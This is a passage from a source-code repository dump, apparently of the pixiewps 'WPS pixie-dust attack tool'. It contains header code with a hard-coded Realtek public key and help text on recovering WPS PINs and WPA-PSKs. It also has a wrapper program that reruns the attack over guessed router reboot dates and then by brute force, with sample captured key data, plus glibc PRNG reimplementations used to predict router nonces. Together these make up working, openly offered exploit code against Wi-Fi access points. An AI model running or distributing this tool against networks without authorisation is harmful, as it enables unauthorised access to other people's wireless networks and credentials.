__func__); \ 59 | byte_array_print(z, WPS_SECRET_NONCE_LEN); \ 60 | fflush(stdout); \ 61 | } while (0) 62 | #else 63 | # define DEBUG_PRINT(fmt, args...) do {} while (0) 64 | # define DEBUG_PRINT_ARRAY(b, l) do {} while (0) 65 | # define DEBUG_PRINT_ATTEMPT(s, z) do {} while (0) 66 | #endif 67 | 68 | uint_fast8_t p_mode[MODE_LEN] = { 0 }; 69 | const char *p_mode_name[MODE_LEN + 1] = { "", "RT/MT/CL", "eCos simple", "RTL819x", "eCos simplest", "eCos Knuth" }; 70 | 71 | /* Also called 'porting' OpenSSL */ 72 | #define SET_RTL_PRIV_KEY(x) memset(x, 0x55, 192) 73 | 74 | const uint8_t wps_rtl_pke[] = { 75 | 0xD0,0x14,0x1B,0x15, 0x65,0x6E,0x96,0xB8, 0x5F,0xCE,0xAD,0x2E, 0x8E,0x76,0x33,0x0D, 76 | 0x2B,0x1A,0xC1,0x57, 0x6B,0xB0,0x26,0xE7, 0xA3,0x28,0xC0,0xE1, 0xBA,0xF8,0xCF,0x91, 77 | 0x66,0x43,0x71,0x17, 0x4C,0x08,0xEE,0x12, 0xEC,0x92,0xB0,0x51, 0x9C,0x54,0x87,0x9F, 78 | 0x21,0x25,0x5B,0xE5, 0xA8,0x77,0x0E,0x1F, 0xA1,0x88,0x04,0x70, 0xEF,0x42,0x3C,0x90, 79 | 0xE3,0x4D,0x78,0x47, 0xA6,0xFC,0xB4,0x92, 0x45,0x63,0xD1,0xAF, 0x1D,0xB0,0xC4,0x81, 80 | 0xEA,0xD9,0x85,0x2C, 0x51,0x9B,0xF1,0xDD, 0x42,0x9C,0x16,0x39, 0x51,0xCF,0x69,0x18, 81 | 0x1B,0x13,0x2A,0xEA, 0x2A,0x36,0x84,0xCA, 0xF3,0x5B,0xC5,0x4A, 0xCA,0x1B,0x20,0xC8, 82 | 0x8B,0xB3,0xB7,0x33, 0x9F,0xF7,0xD5,0x6E, 0x09,0x13,0x9D,0x77, 0xF0,0xAC,0x58,0x07, 83 | 0x90,0x97,0x93,0x82, 0x51,0xDB,0xBE,0x75, 0xE8,0x67,0x15,0xCC, 0x6B,0x7C,0x0C,0xA9, 84 | 0x45,0xFa,0x8D,0xD8, 0xD6,0x61,0xBE,0xB7, 0x3B,0x41,0x40,0x32, 0x79,0x8D,0xAD,0xEE, 85 | 0x32,0xB5,0xDD,0x61, 0xBF,0x10,0x5F,0x18, 0xD8,0x92,0x17,0x76, 0x0B,0x75,0xC5,0xD9, 86 | 0x66,0xA5,0xA4,0x90, 0x47,0x2C,0xEB,0xA9, 0xE3,0xB4,0x22,0x4F, 0x3D,0x89,0xFB,0x2B 87 | }; 88 | 89 | /* const uint8_t rtl_rnd_seed[] = { 90 | 0x52,0x65,0x61,0x6c, 0x74,0x65,0x6b,0x20, 0x57,0x69,0x46,0x69, 0x20,0x53,0x69,0x6d, 91 | 0x70,0x6c,0x65,0x2d, 0x43,0x6f,0x6e,0x66, 0x69,0x67,0x20,0x44, 0x61,0x65,0x6d,0x6f, 92 | 0x6e,0x20,0x70,0x72, 0x6f,0x67,0x72,0x61, 0x6d,0x20,0x32,0x30, 0x30,0x36,0x2d,0x30, 93 | 0x35,0x2d,0x31,0x35 94 | }; */ 95 | 96 | struct global { 97 | char pin[WPS_PIN_LEN + 1]; 98 | uint8_t *pke; 99 | uint8_t *pkr; 100 | uint8_t *e_key; 101 | uint8_t *e_hash1; 102 | uint8_t *e_hash2; 103 | uint8_t *authkey; 104 | uint8_t *e_nonce; 105 | uint8_t *r_nonce; 106 | uint8_t *psk1; 107 | uint8_t *psk2; 108 | uint8_t *empty_psk; 109 | uint8_t *dhkey; 110 | uint8_t *kdk; 111 | uint8_t *wrapkey; 112 | uint8_t *emsk; 113 | uint8_t *e_s1; 114 | uint8_t *e_s2; 115 | uint8_t *e_bssid; 116 | uint8_t *m5_encr; 117 | uint8_t *m7_encr; 118 | unsigned int m5_encr_len; 119 | unsigned int m7_encr_len; 120 | uint32_t nonce_seed; 121 | uint32_t s1_seed; 122 | uint32_t s2_seed; 123 | time_t start; 124 | time_t end; 125 | uint8_t small_dh_keys; 126 | uint8_t mode_auto; 127 | uint8_t bruteforce; 128 | uint8_t anylength; 129 | uint8_t nonce_match; 130 | int jobs; 131 | int verbosity; 132 | char *error; 133 | char *warning; 134 | }; 135 | 136 | char usage[] = 137 | "\n" 138 | " Pixiewps %s WPS pixie-dust attack tool\n" 139 | " Copyright (c) 2015-2017, wiire \n" 140 | "\n" 141 | " Usage: %s \n" 142 | "\n" 143 | " Required arguments:\n" 144 | "\n" 145 | " -e, --pke : Enrollee public key\n" 146 | " -r, --pkr : Registrar public key\n" 147 | " -s, --e-hash1 : Enrollee hash-1\n" 148 | " -z, --e-hash2 : Enrollee hash-2\n" 149 | " -a, --authkey : Authentication session key\n" 150 | " -n, --e-nonce : Enrollee nonce\n" 151 | "\n" 152 | " Optional arguments:\n" 153 | "\n" 154 | " -m, --r-nonce : Registrar nonce\n" 155 | " -b, --e-bssid : Enrollee BSSID\n" 156 | " -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n" 157 | " -o, --output : Write output to file\n" 158 | " -j, --jobs : Number of parallel threads to use [Auto]\n" 159 | "\n" 160 | " -h : Display this usage screen\n" 161 | " --help : Verbose help and more usage examples\n" 162 | " -V, --version : Display version\n" 163 | "\n" 164 | " --mode N[,... N] : Mode selection, comma separated [Auto]\n" 165 | " --start [mm/]yyyy : Starting date (only mode 3) [+1 day]\n" 166 | " --end [mm/]yyyy : Ending date (only mode 3) [-1 day]\n" 167 | " --cstart N : Starting date (time_t) (only mode 3)\n" 168 | " --cend N : Ending date (time_t) (only mode 3)\n" 169 | " -f, --force : Bruteforce full range (only mode 3)\n" 170 | "\n" 171 | " Miscellaneous arguments:\n" 172 | "\n" 173 | " -7, --m7-enc : Recover encrypted settings from M7 (only mode 3)\n" 174 | " -5, --m5-enc : Recover secret nonce from M5 (only mode 3)\n" 175 | "\n" 176 | " Example (use --help for more):\n" 177 | "\n" 178 | " pixiewps -e -r -s -z -a -n \n" 179 | "%s"; 180 | 181 | char v_usage[] = 182 | "\n" 183 | " Pixiewps %s WPS pixie-dust attack tool\n" 184 | " Copyright (c) 2015-2017, wiire \n" 185 | "\n" 186 | " Description of arguments:\n" 187 | "\n" 188 | " -e, --pke\n" 189 | "\n" 190 | " Enrollee's DH public key, found in M1.\n" 191 | "\n" 192 | " -r, --pkr\n" 193 | "\n" 194 | " Registrar's DH public key, found in M2.\n" 195 | "\n" 196 | " -s, --e-hash1\n" 197 | "\n" 198 | " Enrollee hash-1, found in M3. It's the hash of the first half of the PIN.\n" 199 | "\n" 200 | " -z, --e-hash2\n" 201 | "\n" 202 | " Enrollee hash-2, found in M3. It's the hash of the second half of the PIN.\n" 203 | "\n" 204 | " -a, --authkey\n" 205 | "\n" 206 | " Authentication session key. Although for this parameter a modified version of " 207 | "Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman " 208 | "keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.\n" 209 | "\n" 210 | " [?] pixiewps -e -s -z -S -n -m -b \n" 211 | "\n" 212 | " -n, --e-nonce\n" 213 | "\n" 214 | " Enrollee's nonce, found in M1.\n" 215 | "\n" 216 | " -m, --r-nonce\n" 217 | "\n" 218 | " Registrar's nonce, found in M2. Used with other parameters to compute the session keys.\n" 219 | "\n" 220 | " -b, --e-bssid\n" 221 | "\n" 222 | " Enrollee's BSSID. Used with other parameters to compute the session keys.\n" 223 | "\n" 224 | " -S, --dh-small (deprecated)\n" 225 | "\n" 226 | " Small Diffie-Hellman keys. The same option must be specified in Reaver too. " 227 | "Some Access Points seem to be buggy and don't behave correctly with this option. " 228 | "Avoid using it with Reaver when possible\n" 229 | "\n" 230 | " --mode N[,... N]\n" 231 | "\n" 232 | " Select modes, comma separated (experimental modes are not used unless specified):\n" 233 | "\n" 234 | " 1 (%s)\n" 235 | " 2 (%s)\n" 236 | " 3 (%s)\n" 237 | " 4 (%s) [Experimental]\n" 238 | " 5 (%s) [Experimental]\n" 239 | "\n" 240 | " --start [mm/]yyyy\n" 241 | " --end [mm/]yyyy\n" 242 | "\n" 243 | " Starting and ending dates for mode 3. They are interchangeable. " 244 | "If only one is specified, the current time will be used for the other. " 245 | "The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), " 246 | "the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then " 247 | "pixiewps will start from the current time and go back all the way to 0.\n" 248 | "\n" 249 | " -7, --m7-enc\n" 250 | "\n" 251 | " Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. " 252 | "This feature only works on some Access Points vulnerable to mode 3.\n" 253 | "\n" 254 | " [?] pixiewps -e -r -n -m -b -7 --mode 3\n" 255 | "\n" 256 | " -5, --m5-enc\n" 257 | "\n" 258 | " Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. " 259 | "This option must be used in conjunction with --m7-enc. If --e-hash1 and " 260 | "--e-hash2 are also specified, pixiewps will also recover the WPS PIN.\n" 261 | "\n" 262 | " [?] pixiewps -e -r -n -m -b -7 -5 --mode 3\n" 263 | " [?] pixiewps -e -r -n -m -b -7 -5 -s -z --mode 3\n" 264 | "\n"; 265 | 266 | #define STR_CONTRIBUTE "[@] Looks like you have some interesting data! Please consider contributing with your data to improve pixiewps. Follow the instructions on http://0x0.st/tm - Thank you!" 267 | 268 | /* One digit comma separated number parsing */ 269 | static inline uint_fast8_t parse_mode(char *list, uint_fast8_t *dst, const uint8_t max_digit) 270 | { 271 | uint_fast8_t cnt = 0; 272 | while (*list != 0) { 273 | if (*list <= ((char) max_digit) + '0') { 274 | dst[cnt] = *list - '0'; 275 | cnt++; 276 | list++; 277 | } 278 | if (*list != 0) { 279 | if (*list == ',') 280 | list++; 281 | else 282 | return 1; 283 | } 284 | } 285 | return 0; 286 | } 287 | 288 | /* Check if passed mode is selected */ 289 | static inline uint_fast8_t is_mode_selected(const uint_fast8_t mode) 290 | { 291 | for (uint_fast8_t i = 0; i < MODE_LEN && p_mode[i] != NONE; i++) { 292 | if (p_mode[i] == mode) 293 | return 1; 294 | } 295 | return 0; 296 | } 297 | 298 | #endif /* PIXIEWPS_H */ 299 | -------------------------------------------------------------------------------- /src/pixiewrapper.c: -------------------------------------------------------------------------------- 1 | /* testdata: 2 | -u $((0xae317ff4f5)) -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 2b39e024cf02717b0aa9d355c00d11e663d8dd6419eced2c2d65474d53acbc42 -z 2b39e024cf02717b0aa9d355c00d11e663d8dd6419eced2c2d65474d53acbc42 -a b1d3ea1d7a12f75d097b8d26d2705b5ef25a476dd4aa68c2e764136ab282e89b -n 3f1b09a86baf5fd17bd517121e4dce91 -r 72b17748bc1c08b3c301af1343d26efcf7ac27e8c1fd8add70dce410964ef4dd6d151012893407d9673b38eced0d3141b673393b6785a366b477ec7dca8ead064aa54836ee855faa31fd125195e18ae5e0263175b60589100615d87ab9ac43440287f28bb9719a5c5dab2aec690fb900603de5ce108c1e3adf9dca9eee1d36a09f9d90363996166501934be41002c5a04e0c7ab16ec37251a8456bdae17598f57d481341a69af02b4effc5737c9403de68c6bea16a281352b56a1a114bfd8b9c 3 | [*] Seed N1: 947432970 (Sun Jan 9 15:49:30 2000 UTC) 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | static int usage(char *a0) { 14 | printf( "%s [-u beacon timestamp] pixiewps_parameters\n\n" 15 | "runs pixiewps in:\n" 16 | "1) normal mode\n" 17 | "2) if above failed, several likely timestamps with short interval\n" 18 | "3) if above failed, with --force\n\n" 19 | "if env var PIXIEWPS is set, its value will be used as the executable.\n\n" 20 | "parameter 'u', if used, must be the first command line arg.\n" 21 | "it shall contain the 64bit uptime timestamp of beacon/probe resp packets\n" 22 | "sent by the router immediately before the pixiewps attack (in decimal).\n" 23 | , a0); 24 | return 1; 25 | } 26 | 27 | #define PIXIE_SUCCESS "[+] WPS pin:" 28 | #define PIXIE_VULNERABLE "[!] The AP /might be/ vulnerable" 29 | static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) { 30 | int ret = 0; 31 | FILE *pr = popen(pixiecmd, "r"); 32 | if(pr) { 33 | char buf[1024], *p; 34 | while(fgets(buf, sizeof buf, pr)) { 35 | printf("%s", buf); 36 | if(ret) continue; 37 | p = buf; 38 | while(isspace(*p))++p; 39 | if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) { 40 | ret = 1; 41 | char *pin = p + sizeof(PIXIE_SUCCESS)-1; 42 | while(isspace(*pin))++pin; 43 | if(!strncmp(pin, "", 7)) { 44 | *pinlen = 0; 45 | *pinbuf = 0; 46 | } else { 47 | char *q = strchr(pin, '\n'); 48 | if(q) *q = 0; 49 | else { 50 | fprintf(stderr, "oops1\n"); 51 | ret = 0; 52 | } 53 | size_t pl = strlen(pin); 54 | if(pl < *pinlen) { 55 | memcpy(pinbuf, pin, pl+1); 56 | *pinlen = pl; 57 | } else { 58 | fprintf(stderr, "oops2\n"); 59 | ret = 0; 60 | } 61 | } 62 | } else if(!strncmp(p, PIXIE_VULNERABLE, sizeof(PIXIE_VULNERABLE)-1)) { 63 | ret = -1; 64 | } 65 | } 66 | pclose(pr); 67 | } 68 | return ret; 69 | } 70 | 71 | 72 | static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) { 73 | #define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */ 74 | #define TSTP_MIN (TSTP_SEC * 60ULL) 75 | #define TSTP_HOUR (TSTP_MIN * 60ULL) 76 | #define TSTP_DAY (TSTP_HOUR * 24ULL) 77 | unsigned days = timestamp / TSTP_DAY; 78 | struct tm tms = { 79 | .tm_mday = 1, 80 | .tm_mon = *month - 1, 81 | .tm_year = *year - 1900 82 | }; 83 | time_t start = mktime(&tms); 84 | unsigned secs = days * (24*60*60); 85 | start += secs; 86 | struct tm *result = gmtime(&start); 87 | *year = result->tm_year + 1900; 88 | *month = result->tm_mon + 1; 89 | } 90 | 91 | 92 | static const struct date { 93 | int year; 94 | int month; 95 | } reboot_dates[] = { 96 | { 2000, 1}, 97 | { 2015, 1}, 98 | { 2013, 1}, 99 | { 1970, 1}, 100 | {0} 101 | }; 102 | 103 | #ifndef SEARCH_MONTHS 104 | #define SEARCH_MONTHS (uptime == 0 ? 2 : 1) 105 | #endif 106 | 107 | #ifndef PIXIE_BIN 108 | #define PIXIE_BIN "pixiewps" 109 | #endif 110 | 111 | int main(int argc, char** argv) { 112 | uint64_t uptime = 0; 113 | if(argc < 3) return usage(argv[0]); 114 | int pixie_start_arg = 1, i; 115 | if(argv[1][0] == '-' && argv[1][1] == 'u' && argv[1][2] == 0) { 116 | uptime = strtoll(argv[2], 0, 10); 117 | pixie_start_arg = 3; 118 | } 119 | char pixie_args[4096]; 120 | char* pixie_bin = getenv("PIXIEWPS"); 121 | if(!pixie_bin) pixie_bin = PIXIE_BIN; 122 | strcpy(pixie_args, pixie_bin); 123 | for(i=pixie_start_arg; iyear; date++) { 136 | int year = date->year; 137 | int month = date->month; 138 | add_beacon_timestamp(&year, &month, uptime); 139 | char cmd[4096], dstring[128]; 140 | strcpy(cmd, pixie_args); 141 | sprintf(dstring, " --start %02d/%04d --end %02d/%04d", 142 | month, year, 1+((month-1+SEARCH_MONTHS)%12), year+((month-1+SEARCH_MONTHS)/12) ); 143 | strcat(cmd, dstring); 144 | ret = pixie_run(cmd, pinbuf, &pinlen); 145 | if(ret == 1) return 0; 146 | } 147 | strcat(pixie_args, " --force"); 148 | ret = pixie_run(pixie_args, pinbuf, &pinlen); 149 | if(ret == 1) return 0; 150 | return 1; 151 | } 152 | -------------------------------------------------------------------------------- /src/random/glibc_random.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Based on the code of Peter Selinger 3 | * Reference: http://www.mathstat.dal.ca/~selinger/random/ 4 | * 5 | * The original code was modified to achieve better speed 6 | * 7 | * Note that in the original code two signed integers are added together 8 | * which results in undefined behavior if the sum overflows the content 9 | * of a signed integer while trying to preserve the sign. 10 | * 11 | * To avoid this, we exploit the 2's complement, thus using only 12 | * unsigned integers. Note that INT_MAX + INT_MAX <= UINT_MAX and that 13 | * adding two unsigned integers which sum exceeds UINT_MAX is not 14 | * undefined behavior, it causes the value to wrap around. 15 | */ 16 | 17 | #include 18 | 19 | /* 20 | * The +1 is used to keep the index inside the array after the increment, 21 | * it doesn't really have a purpose besides that 22 | */ 23 | struct glibc_prng { 24 | int index; 25 | uint32_t state[344 + GLIBC_MAX_GEN + 1]; 26 | }; 27 | 28 | /* 29 | * There are no checks of bounds (GLIBC_MAX_GEN is the maximum number of times it can be called) 30 | */ 31 | static uint32_t glibc_rand(struct glibc_prng *prng) 32 | { 33 | uint32_t *state = prng->state; 34 | const int i = prng->index++; 35 | state[i] = (uint32_t)(state[i - 31] + state[i - 3]); 36 | return state[i] >> 1; 37 | } 38 | 39 | static void glibc_seed(struct glibc_prng *prng, uint32_t seed) 40 | { 41 | int i = 0; 42 | uint32_t *state = prng->state; 43 | prng->index = 344; 44 | state[i++] = seed; 45 | for ( ; i < 31; i++) { 46 | 47 | /* This does: state[i] = (16807LL * state[i - 1]) % 0x7fffffff 48 | using the sum of digits method which works for mod N, base N+1 */ 49 | const uint64_t p = 16807ULL * state[i - 1]; 50 | const uint64_t m = (p >> 31) + (p & 0x7fffffff); 51 | 52 | /* The result might still not fit in 31 bits, if not, repeat 53 | (conditional seems to make it slighlty faster) */ 54 | state[i] = (m & 0xffffffff80000000) ? ((m >> 31) + (m & 0x7fffffff)) : m; 55 | } 56 | for (i = 31; i < 34; i++) state[i] = state[i - 31]; 57 | for (i = 34; i < 344; i++) state[i] = state[i - 31] + state[i - 3]; 58 | } 59 | -------------------------------------------------------------------------------- /src/random/glibc_random_lazy.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Based on the code of Peter Selinger 3 | * Reference: http://www.mathstat.dal.ca/~selinger/random/ 4 | * 5 | * The original code was modified to achieve better speed 6 | * 7 | * Note that in the original code two signed integers are added together 8 | * which results in undefined behavior if the sum overflows the content 9 | * of a signed integer while trying to preserve the sign. 10 | * 11 | * To avoid this, we exploit the 2's complement, thus using only 12 | * unsigned integers. Note that INT_MAX + INT_MAX <= UINT_MAX and that 13 | * adding two unsigned integers which sum exceeds UINT_MAX is not 14 | * undefined behavior, it causes the value to wrap around. 15 | */ 16 | 17 | #include 18 | 19 | struct glibc_lazyprng { 20 | uint32_t state[344]; 21 | }; 22 | 23 | /* 24 | * Return 1st generated element only 25 | */ 26 | static uint32_t glibc_rand1(struct glibc_lazyprng *prng) 27 | { 28 | const uint32_t *state = prng->state; 29 | return (state[344 - 31] + state[344 - 3]) >> 1; 30 | } 31 | 32 | /* 33 | * Fill a 4 elements array (to use with memcmp) 34 | */ 35 | static uint32_t *glibc_randfill(struct glibc_lazyprng *prng, uint32_t *arr) 36 | { 37 | uint32_t *state = prng->state; 38 | const uint32_t first = state[344 - 31] + state[344 - 3]; 39 | arr[0] = first >> 1; 40 | arr[1] = (state[344 - 31 + 1] + state[342 - 31] + state[342 - 3]) >> 1; 41 | arr[2] = (state[344 - 31 + 2] + state[343 - 31] + state[343 - 3]) >> 1; 42 | arr[3] = (state[344 - 31 + 3] + first) >> 1; 43 | return arr; 44 | } 45 | 46 | /* 47 | * Lazy seeding (stay 2 shorter) 48 | */ 49 | static void glibc_lazyseed(struct glibc_lazyprng *prng, uint32_t seed) 50 | { 51 | uint32_t *state = prng->state; 52 | uint32_t i = 0; 53 | state[i++] = seed; 54 | for ( ; i < 31; i++) { 55 | 56 | /* This does: state[i] = (16807LL * state[i - 1]) % 0x7fffffff 57 | using the sum of digits method which works for mod N, base N+1 */ 58 | const uint64_t p = 16807ULL * state[i - 1]; 59 | const uint64_t m = (p >> 31) + (p & 0x7fffffff); 60 | 61 | /* The result might still not fit in 31 bits, if not, repeat 62 | (conditional seems to make it slighlty faster) */ 63 | state[i] = (m & 0xffffffff80000000) ? ((m >> 31) + (m & 0x7fffffff)) : m; 64 | } 65 | for (i = 31; i < 34; i++) state[i] = state[i - 31]; 66 | for (i = 34; i < 344 - 3 + 1; i++) state[i] = state[i - 31] + state[i - 3]; 67 | } 68 | -------------------------------------------------------------------------------- /src/random/glibc_random_old.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1983 Regents of the University of California. 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms are permitted 6 | * provided that the above copyright notice and this paragraph are 7 | * duplicated in all such forms and that any documentation, 8 | * advertising materials, and other materials related to such 9 | * distribution and use acknowledge that the software was developed 10 | * by the University of California, Berkeley. The name of the 11 | * University may not be used to endorse or promote products derived 12 | * from this software without specific prior written permission. 13 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR 14 | * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED 15 | * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. 16 | */ 17 | 18 | /* 19 | * This is derived from the Berkeley source: 20 | * @(#)random.c 5.5 (Berkeley) 7/6/88 21 | * It was reworked for the GNU C Library by Roland McGrath. 22 | * Rewritten to be reentrant by Ulrich Drepper, 1995 23 | */ 24 | 25 | /* 26 | * This file is part of pixiewps and was modified 27 | */ 28 | 29 | #include 30 | 31 | struct m_random_data { 32 | int32_t *fptr; /* Front pointer */ 33 | int32_t *rptr; /* Rear pointer */ 34 | int32_t *state; /* Array of state values */ 35 | int32_t *end_ptr; /* Pointer behind state table */ 36 | }; 37 | 38 | /* x**31 + x**3 + 1 */ 39 | #define TYPE_3 3 40 | #define BREAK_3 128 41 | #define DEG_3 31 42 | #define SEP_3 3 43 | 44 | #define MAX_TYPES 5 /* Max number of types */ 45 | 46 | /* We do our fancy trinomial stuff, which is the 47 | same in all the other cases due to all the global variables that have been 48 | set up. The basic operation is to add the number at the rear pointer into 49 | the one at the front pointer. Then both pointers are advanced to the next 50 | location cyclically in the table. The value returned is the sum generated, 51 | reduced to 31 bits by throwing away the "least random" low bit. 52 | Note: The code takes advantage of the fact that both the front and 53 | rear pointers can't wrap on the same call by not testing the rear 54 | pointer if the front one has wrapped. Returns a 31-bit random number. */ 55 | static void m_random_r(struct m_random_data *buf, int32_t *result) 56 | { 57 | int32_t *state = buf->state; 58 | int32_t *fptr = buf->fptr; 59 | int32_t *rptr = buf->rptr; 60 | int32_t *end_ptr = buf->end_ptr; 61 | int32_t val = *fptr += *rptr; 62 | 63 | /* Chucking least random bit. */ 64 | *result = (val >> 1) & 0x7fffffff; 65 | ++fptr; 66 | if (fptr >= end_ptr) { 67 | fptr = state; 68 | ++rptr; 69 | } 70 | else { 71 | ++rptr; 72 | if (rptr >= end_ptr) 73 | rptr = state; 74 | } 75 | buf->fptr = fptr; 76 | buf->rptr = rptr; 77 | } 78 | 79 | /* Initializes state[] based on the given "seed" via a linear 80 | congruential generator. Then, the pointers are set to known locations 81 | that are exactly rand_sep places apart. Lastly, it cycles the state 82 | information a given number of times to get rid of any initial dependencies 83 | introduced by the L.C.R.N.G. Note that the initialization of randtbl[] 84 | for default usage relies on values produced by this routine. */ 85 | static void m_srandom_r(unsigned int seed, struct m_random_data *buf) 86 | { 87 | long int word; 88 | int i, kc; 89 | int32_t *dst; 90 | int32_t *state = buf->state; 91 | 92 | /* We must make sure the seed is not 0. Take arbitrarily 1 in this case. */ 93 | if (seed == 0) 94 | seed = 1; 95 | 96 | state[0] = seed; 97 | dst = state; 98 | word = seed; 99 | for (i = 1; i < DEG_3; ++i) { 100 | /* This does: 101 | state[i] = (16807 * state[i - 1]) % 2147483647; 102 | but avoids overflowing 31 bits */ 103 | long int hi = word / 127773; 104 | long int lo = word % 127773; 105 | word = 16807 * lo - 2836 * hi; 106 | if (word < 0) 107 | word += 2147483647; 108 | *++dst = word; 109 | } 110 | 111 | buf->fptr = &state[SEP_3]; 112 | buf->rptr = &state[0]; 113 | kc = DEG_3 * 10; 114 | while (--kc >= 0) { 115 | int32_t discard; 116 | m_random_r(buf, &discard); 117 | } 118 | } 119 | 120 | /* Initialize the state information in the given array of N bytes for 121 | future random number generation. Based on the number of bytes we 122 | are given, and the break values for the different R.N.G.'s, we choose 123 | the best (largest) one we can and set things up for it. srandom is 124 | then called to initialize the state information. Note that on return 125 | from srandom, we set state[-1] to be the type multiplexed with the current 126 | value of the rear pointer; this is so successive calls to initstate won't 127 | lose this information and will be able to restart with setstate. 128 | Note: The first thing we do is save the current state, if any, just like 129 | setstate so that it doesn't matter when initstate is called. 130 | Returns a pointer to the old state. */ 131 | static void m_initstate_r(unsigned int seed, char *arg_state, struct m_random_data *buf) 132 | { 133 | int32_t *state = &((int32_t *)arg_state)[1]; /* First location */ 134 | 135 | /* Must set END_PTR before srandom */ 136 | buf->end_ptr = &state[DEG_3]; 137 | buf->state = state; 138 | 139 | m_srandom_r(seed, buf); 140 | 141 | state[-1] = (buf->rptr - state) * MAX_TYPES + TYPE_3; 142 | } 143 | -------------------------------------------------------------------------------- /src/random/glibc_random_yura.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Based on the code of user @1yura. 3 | * 4 | * See glibc_random.c for a better understanding of the code. 5 | */ 6 | 7 | #include 8 | 9 | static const uint32_t glibc_seed_tbl[31 + 3] = { 10 | 0x0128e83b, 0x00dafa31, 0x009f4828, 0x00f66443, 0x00bee24d, 0x00817005, 0x00cb918f, 11 | 0x00a64845, 0x0069c3cf, 0x00a76dbd, 0x0090a848, 0x0057025f, 0x0089126c, 0x007d9a8f, 12 | 0x0048252a, 0x006fb2d4, 0x006ccc15, 0x003c5744, 0x005a998f, 0x005df917, 0x0032ed77, 13 | 0x00492688, 0x0050e901, 0x002b5f57, 0x003acd0b, 0x00456b7a, 0x0025413d, 0x002f11f4, 14 | 0x003b564d, 0x00203f14, 0x002589fc, 0x003283f8, 0x001c17e4, 0x001dd823 15 | }; 16 | 17 | static inline uint32_t *glibc_fast_nonce(uint32_t seed, uint32_t *dest) 18 | { 19 | uint32_t word0 = 0, word1 = 0, word2 = 0, word3 = 0; 20 | 21 | #ifdef PWPS_UNERRING 22 | if (seed == 0x7fffffff) seed = 0x13f835f3; 23 | else if (seed == 0xfffffffe) seed = 0x5df735f1; 24 | #endif 25 | 26 | for (int j = 0; j < 31; j++) { 27 | word0 += seed * glibc_seed_tbl[j + 3]; 28 | word1 += seed * glibc_seed_tbl[j + 2]; 29 | word2 += seed * glibc_seed_tbl[j + 1]; 30 | word3 += seed * glibc_seed_tbl[j + 0]; 31 | 32 | /* This does: seed = (16807LL * seed) % 0x7fffffff 33 | using the sum of digits method which works for mod N, base N+1 */ 34 | uint64_t p = 16807ULL * seed; 35 | p = (p >> 31) + (p & 0x7fffffff); 36 | seed = (p >> 31) + (p & 0x7fffffff); 37 | #if 0 /* Same as PWPS_UNERRING */ 38 | if (seed == 0x7fffffff) seed = 0; 39 | #endif 40 | } 41 | dest[0] = word0 >> 1; 42 | dest[1] = word1 >> 1; 43 | dest[2] = word2 >> 1; 44 | dest[3] = word3 >> 1; 45 | return dest; 46 | } 47 | 48 | static inline uint32_t glibc_fast_seed(uint32_t seed) 49 | { 50 | uint32_t word0 = 0; 51 | 52 | #ifdef PWPS_UNERRING 53 | if (seed == 0x7fffffff) seed = 0x13f835f3; 54 | else if (seed == 0xfffffffe) seed = 0x5df735f1; 55 | #endif 56 | 57 | for (int j = 3; j < 31 + 3 - 1; j++) { 58 | word0 += seed * glibc_seed_tbl[j]; 59 | 60 | /* This does: seed = (16807LL * seed) % 0x7fffffff 61 | using the sum of digits method which works for mod N, base N+1 */ 62 | uint64_t p = 16807ULL * seed; 63 | p = (p >> 31) + (p & 0x7fffffff); 64 | seed = (p >> 31) + (p & 0x7fffffff); 65 | #if 0 /* Same as PWPS_UNERRING */ 66 | if (seed == 0x7fffffff) seed = 0; 67 | #endif 68 | } 69 | return (word0 + seed * glibc_seed_tbl[33]) >> 1; 70 | } 71 | -------------------------------------------------------------------------------- /src/utils.h: -------------------------------------------------------------------------------- 1 | /* 2 | * pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs 3 | * 4 | * Copyright (c) 2015-2017, wiire 5 | * SPDX-License-Identifier: GPL-3.0+ 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | */ 17 | #ifndef UTILS_H 18 | #define UTILS_H 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #include 25 | 26 | /* Convert an hex string to a byte array */ 27 | unsigned int hex_string_to_byte_array(char *in, uint8_t *out, const unsigned int n_len) 28 | { 29 | unsigned int len = strlen(in); 30 | unsigned int b_len = n_len * 2 + n_len - 1; 31 | 32 | if (len != n_len * 2 && len != b_len) 33 | return 1; 34 | for (unsigned int i = 0; i < n_len; i++) 